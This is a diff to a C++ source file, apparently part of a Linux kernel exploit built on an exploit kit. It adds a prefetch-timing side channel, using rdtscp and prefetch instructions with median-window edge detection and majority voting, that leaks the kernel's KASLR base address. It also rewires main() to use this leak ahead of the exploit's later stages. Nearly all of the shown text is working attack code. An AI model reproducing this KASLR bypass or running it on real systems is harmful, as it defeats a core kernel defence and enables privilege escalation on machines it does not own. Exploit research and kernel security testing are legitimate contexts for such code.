@@ -28,14 +28,101 @@ extern "C" {
2828#include < time.h>
2929}
3030
31+ #include < algorithm>
32+ #include < limits>
33+ #include < optional>
3134#include < vector>
3235
3336#include < xdk/core.h>
3437#include < xdk/payloads/PayloadBuilder.h>
3538#include < xdk/util/Register.h>
36- #include < xdk/util/pwn_utils .h>
39+ #include < xdk/util/error .h>
3740#include < xdk/postrip.h>
3841
42+ namespace {
43+
44+ constexpr uint64_t KASLR_START = 0xFFFFFFFF81000000ULL ;
45+ constexpr uint64_t KASLR_END = KASLR_START + 0x40000000ULL ;
46+ constexpr uint64_t KASLR_SLOT_SIZE = 0x200000ULL ;
47+
48+ inline __attribute__ ((always_inline)) uint64_t rdtsc_begin_() {
49+ uint64_t a, d;
50+ asm volatile (" mfence\n\t " " rdtscp\n\t "
51+ " mov %%rdx, %0\n\t " " mov %%rax, %1\n\t "
52+ " xor %%rax, %%rax\n\t " " lfence\n\t "
53+ : " =r" (d), " =r" (a) :: " %rax" , " %rbx" , " %rcx" , " %rdx" );
54+ return (d << 32 ) | a;
55+ }
56+ inline __attribute__ ((always_inline)) uint64_t rdtsc_end_() {
57+ uint64_t a, d;
58+ asm volatile (" xor %%rax, %%rax\n\t " " lfence\n\t " " rdtscp\n\t "
59+ " mov %%rdx, %0\n\t " " mov %%rax, %1\n\t " " mfence\n\t "
60+ : " =r" (d), " =r" (a) :: " %rax" , " %rbx" , " %rcx" , " %rdx" );
61+ return (d << 32 ) | a;
62+ }
63+ inline __attribute__ ((always_inline)) void prefetch_(uint64_t addr) {
64+ asm volatile (" prefetchnta (%0)\n\t " " prefetcht2 (%0)\n\t " : : " r" (addr));
65+ }
66+ inline size_t sidechannel_ (uint64_t addr) {
67+ size_t t = rdtsc_begin_ ();
68+ prefetch_ (addr);
69+ return rdtsc_end_ () - t;
70+ }
71+ inline uint64_t slot_to_addr_ (size_t slot) { return KASLR_START + (slot * KASLR_SLOT_SIZE ); }
72+ inline uint64_t abs_diff_ (uint64_t a, uint64_t b) { return a > b ? a - b : b - a; }
73+ inline uint64_t compute_median_ (std::vector<uint64_t > v) {
74+ size_t n = v.size () / 2 ;
75+ std::nth_element (v.begin (), v.begin () + n, v.end ());
76+ return v[n];
77+ }
78+ inline std::optional<uint64_t > try_find_edge_ (const std::vector<uint64_t > &timings, uint64_t window_size) {
79+ if (timings.size () < window_size) return std::nullopt ;
80+ uint64_t median = compute_median_ (timings);
81+ uint64_t cur = 0 ;
82+ for (size_t k = 0 ; k < window_size; k++) cur += abs_diff_ (timings[k], median);
83+ uint64_t best = cur;
84+ std::optional<size_t > best_slot = 0 ;
85+ for (size_t i = 1 ; i <= timings.size () - window_size; i++) {
86+ cur -= abs_diff_ (timings[i - 1 ], median);
87+ cur += abs_diff_ (timings[i + window_size - 1 ], median);
88+ if (cur > best) { best = cur; best_slot = i; }
89+ }
90+ return best_slot;
91+ }
92+ inline std::optional<uint64_t > try_leak_kaslr_base_ (uint64_t window_size, int samples) {
93+ size_t slots = (KASLR_END - KASLR_START ) / KASLR_SLOT_SIZE ;
94+ std::vector<uint64_t > timings (slots, std::numeric_limits<uint64_t >::max ());
95+ for (int i = 0 ; i < samples; i++)
96+ for (size_t s = 0 ; s < slots; s++) {
97+ uint64_t t = sidechannel_ (slot_to_addr_ (s));
98+ if (t < timings[s]) timings[s] = t;
99+ }
100+ auto slot = try_find_edge_ (timings, window_size);
101+ if (slot) return slot_to_addr_ (*slot);
102+ return std::nullopt ;
103+ }
104+ inline std::optional<uint64_t > find_majority_ (const std::vector<std::optional<uint64_t >> &slots) {
105+ uint64_t cand = 0 ; size_t count = 0 ;
106+ for (const auto &s : slots) {
107+ if (count == 0 ) { if (s) { cand = *s; count = 1 ; } }
108+ else if (s && *s == cand) count++; else count--;
109+ }
110+ size_t actual = 0 ;
111+ for (const auto &s : slots) if (s && *s == cand) actual++;
112+ if (actual > slots.size () / 2 ) return cand;
113+ return std::nullopt ;
114+ }
115+
116+ } // namespace
117+
118+ static uint64_t leak_kaslr_base_local (uint64_t window_size, int samples, int trials) {
119+ std::vector<std::optional<uint64_t >> cands;
120+ for (int i = 0 ; i < trials; i++) cands.push_back (try_leak_kaslr_base_ (window_size, samples));
121+ auto base = find_majority_ (cands);
122+ if (!base) throw ExpKitError (" Failed to leak KASLR base" );
123+ return *base;
124+ }
125+
39126INCBIN (target_db, " target_db.kxdb" );
40127__asm__ (" .section .text\n " );
41128
@@ -2335,9 +2422,10 @@ int main(int argc, char *argv[])
23352422 }
23362423 if (!ktext) {
23372424#ifndef KASLR_FIXED
2338- ktext = leak_kaslr_base (g_target->GetKernelPageCount (),
2339- /* samples = */ 100 , /* trials = */ 3 );
2340- log_dbg (" leak_kaslr_base returned ktext=0x%lx" ,
2425+ ktext = leak_kaslr_base_local (/* window_size = */ 11 ,
2426+ /* samples = */ 100 ,
2427+ /* trials = */ 9 );
2428+ log_dbg (" leak_kaslr_base_local returned ktext=0x%lx" ,
23412429 (unsigned long )ktext);
23422430#else
23432431 ktext = 0xffffffff81000000 ;
0 commit comments